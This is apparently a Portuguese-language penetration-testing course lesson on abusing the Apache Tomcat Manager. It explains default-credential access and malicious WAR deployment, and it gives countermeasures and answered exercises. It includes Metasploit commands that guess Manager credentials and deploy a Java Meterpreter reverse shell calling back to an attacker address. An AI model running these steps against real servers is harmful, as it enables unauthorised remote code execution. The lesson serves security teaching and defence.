Nem toda invasão explora um bug. Algumas exploram uma funcionalidade que funciona exatamente como deveria — mas que, protegida por uma senha fraca, vira porta de entrada. O Apache Tomcat é o caso didático perfeito. Tomcat é um servidor de aplicações Java muito usado, e possui um recurso administrativo legítimo — o Manager — que permite implantar (fazer deploy de) aplicações Java remotamente. Se um atacante acessa esse Manager, ele pode implantar sua própria aplicação maliciosa — um backdoor — e obter execução de código no servidor. Não há falha de software aqui; há uma funcionalidade poderosa mal protegida. Pratique na Metasploitable ou numa VM com Tomcat.

O Manager e o arquivo WAR

Entenda primeiro o cenário. O Tomcat roda aplicações Java empacotadas em arquivos chamados WAR (Web Application Archive). O painel Manager existe para os administradores gerenciarem essas aplicações — instalar, remover, atualizar — remotamente, o que é uma funcionalidade administrativa perfeitamente válida e útil. O problema é o acesso: o Manager é protegido por autenticação, e é aí que mora a fragilidade. Instalações de Tomcat frequentemente vêm com credenciais padrão (combinações notórias como tomcat:tomcat, admin:admin) ou são configuradas com senhas fracas. Sua enumeração (Bloco VI) revela o Tomcat rodando (tipicamente em portas como 8080), e o passo natural é verificar o acesso ao Manager.

Dois momentos: acesso e deploy

O ataque tem uma lógica clara de dois momentos. Primeiro, obter acesso ao Manager — por credenciais padrão ou por força bruta (o Hydra da aula Brute force online com Hydra: atacando serviços vivos contra o painel de login). Segundo, abusar da funcionalidade de deploy: com acesso, você faz upload de um WAR malicioso — uma aplicação Java que, em vez de fazer algo útil, contém um backdoor (um reverse shell). O Tomcat, cumprindo sua função, implanta e executa sua aplicação, e você recebe acesso ao servidor. O Metasploit automatiza isso num módulo dedicado:

# primeiro, testar credenciais do Manager (força bruta se necessário)
use auxiliary/scanner/http/tomcat_mgr_login
set RHOSTS 192.168.1.10
set RPORT 8080
run                                  # tenta credenciais comuns/padrão

# de posse de credenciais válidas, fazer deploy do backdoor
use exploit/multi/http/tomcat_mgr_upload
set RHOSTS 192.168.1.10
set RPORT 8080
set HttpUsername tomcat              # credenciais obtidas
set HttpPassword tomcat
set PAYLOAD java/meterpreter/reverse_tcp
set LHOST 192.168.1.5
exploit

Nenhum bug de software explorado

Observe o payload: java/meterpreter/reverse_tcp — um Meterpreter em Java, adequado ao ambiente Java do Tomcat. O módulo empacota esse payload num WAR, faz o deploy via Manager usando as credenciais, o Tomcat executa, e você recebe sua sessão. Perceba que nenhuma vulnerabilidade de software foi explorada — você usou a funcionalidade de deploy exatamente para o que ela existe, apenas com um propósito malicioso e acesso que não deveria ter.

Explorar falha ou abusar de função

O conceito que esta aula cristaliza, e que vale para todo o curso, é a distinção entre explorar uma falha e abusar de uma funcionalidade. Grande parte dos comprometimentos reais não envolve exploits sofisticados de zero-days; envolve acesso indevido a funcionalidades legítimas e poderosas — painéis administrativos com senhas fracas, interfaces de gerenciamento expostas, recursos de deploy, upload ou execução mal protegidos. O Tomcat Manager é um exemplo; a mesma lógica se aplica a inúmeros painéis administrativos de bancos de dados, CMSs, dispositivos, orquestradores. O atacante experiente sabe que a porta mais fácil raramente é um exploit complexo — é uma credencial padrão numa interface poderosa que ninguém protegeu. É por isso que a enumeração que revela essas interfaces (e os ataques de senha do Bloco VII) são tão frutíferos.

Security misconfiguration

Isso conecta com uma categoria do OWASP que veremos no Bloco IX: security misconfiguration (configuração incorreta de segurança). Credenciais padrão não alteradas, painéis administrativos expostos à internet, funcionalidades poderosas sem restrição de acesso — são configurações erradas, não bugs, e estão entre as causas mais comuns de comprometimento. O Tomcat mal configurado é o arquétipo: o software não tem falha; a implantação dele tem. Reconhecer misconfigurations é uma das habilidades mais rentáveis do pentester, porque elas são onipresentes e frequentemente triviais de explorar.

Trocar o padrão e restringir o painel

Do lado defensivo, as contramedidas são simples de enunciar e constantemente ignoradas na prática — o que explica a prevalência do problema: jamais usar credenciais padrão (trocá-las é o primeiro passo de qualquer instalação); usar senhas fortes em interfaces administrativas (que os ataques de senha do Bloco VII não quebrem); restringir o acesso a painéis de gerenciamento (o Tomcat Manager jamais deveria estar acessível pela internet — limite-o à rede interna ou a IPs específicos); aplicar menor privilégio às contas administrativas; e remover funcionalidades não utilizadas (se você não usa o Manager, desative-o — superfície desnecessária é risco desnecessário). O princípio geral, que ecoa o curso inteiro: funcionalidades poderosas exigem proteção proporcional ao seu poder.

Fontes e leituras recomendadas

Exercícios

  1. O que é o Tomcat Manager, e por que ele é uma funcionalidade legítima que se torna um vetor de ataque?

    ✓ Resposta:

    É um painel administrativo do Tomcat que permite implantar (deploy), remover e gerenciar aplicações Java remotamente — funcionalidade legítima e útil para administradores. Torna-se vetor de ataque quando protegido por credenciais padrão ou fracas, permitindo que um atacante faça deploy de sua própria aplicação maliciosa.

  2. Descreva os dois momentos do ataque ao Tomcat, do acesso ao Manager à obtenção de shell.

    ✓ Resposta:

    Primeiro, obter acesso ao Manager, via credenciais padrão ou força bruta contra o login. Segundo, abusar da funcionalidade de deploy fazendo upload de um WAR malicioso (contendo um reverse shell); o Tomcat implanta e executa a aplicação, entregando um shell ao atacante.

  3. Explique a distinção entre "explorar uma falha" e "abusar de uma funcionalidade", usando o Tomcat como exemplo.

    ✓ Resposta:

    Explorar uma falha abusa de um bug/vulnerabilidade do software; abusar de uma funcionalidade usa um recurso que opera como projetado, apenas com acesso indevido e propósito malicioso. No Tomcat, não há bug: usa-se a funcionalidade legítima de deploy, com credenciais que não se deveria ter, para instalar um backdoor.

  4. Por que o payload usado é da família java/, e o que isso diz sobre adequar o payload ao ambiente?

    ✓ Resposta:

    Porque o Tomcat é um servidor de aplicações Java e executa aplicações Java (WAR); o payload precisa ser compatível com esse ambiente. Isso ilustra que o payload deve ser adequado à tecnologia do alvo — um payload Java para um ambiente Java, um payload Windows para Windows, etc.

  5. A que categoria do OWASP o Tomcat mal configurado pertence, e cite três contramedidas defensivas.

    ✓ Resposta:

    Pertence à categoria Security Misconfiguration (configuração incorreta de segurança). Contramedidas: nunca usar credenciais padrão, usar senhas fortes, restringir o acesso ao painel (não expô-lo à internet), aplicar menor privilégio e desabilitar funcionalidades não utilizadas. (Três quaisquer.)